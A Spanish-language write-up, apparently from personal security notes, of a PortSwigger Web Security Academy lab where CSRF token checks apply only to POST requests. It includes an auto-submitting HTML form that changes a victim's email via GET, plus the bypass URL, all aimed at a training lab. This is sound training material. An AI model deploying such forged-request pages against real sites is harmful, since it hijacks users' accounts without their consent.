> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/csrf/csrf-token-validation-depends-on-http-method.md).

# CSRF con validación de token basada en el método HTTP

Notas de CSRF con validación de token basada en el método HTTP para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### CSRF donde la validación del token depende del método de la solicitud

#### Contexto del laboratorio

La función de cambio de correo electrónico es vulnerable a un ataque CSRF. Hay una defensa, pero solo se aplica a ciertos tipos de solicitudes. Propósito: Alojar una página en el servidor de explotación que obligue a la víctima a cambiar su dirección de correo electrónico. / Credenciales proporcionadas para las pruebas: `wiener:peter`.

#### Constatación

* Se comprueba un token CSRF para **POST** solicitudes.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c9d7d012949369bf65070cc123d465a674b8072%2F%7B7AC1E905-8E8F-4586-AD8A-5B5456F76E93%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* La misma acción aceptada en **GET** \*\*n
* Punto en cuestión: `/my-account/change-email`.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ea0892a9ff2ec48fcce1d9dcb84a08741cb22ab%2F%7B209AEB89-40CF-4130-A44B-5C24F83AD2DE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

El alojamiento en el servidor ejecuta una página que envía automáticamente una **GET** solicitud al endpoint de cambio de correo electrónico:

```html
<form class="login-form" name="change-email-form" action="https://0a72007c0337ccb880ed1c9b00fa00d1.web-security-academy.net/my-account/change-email" method="GET">
           <input required="" type="email" name="email" value="Hacked@byjordan.com">
</form>

<script>
   document.forms[0].submit();
</script>
```

La siguiente URL ilustra la omisión (no se requiere token en GET)

```html
/my-account/change-email?email=test%40test.com
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-acb7fcc8c8a89d279256690e38876eb0488943ef%2F%7BC0479810-BBD1-4F65-B125-66A8FB36BD82%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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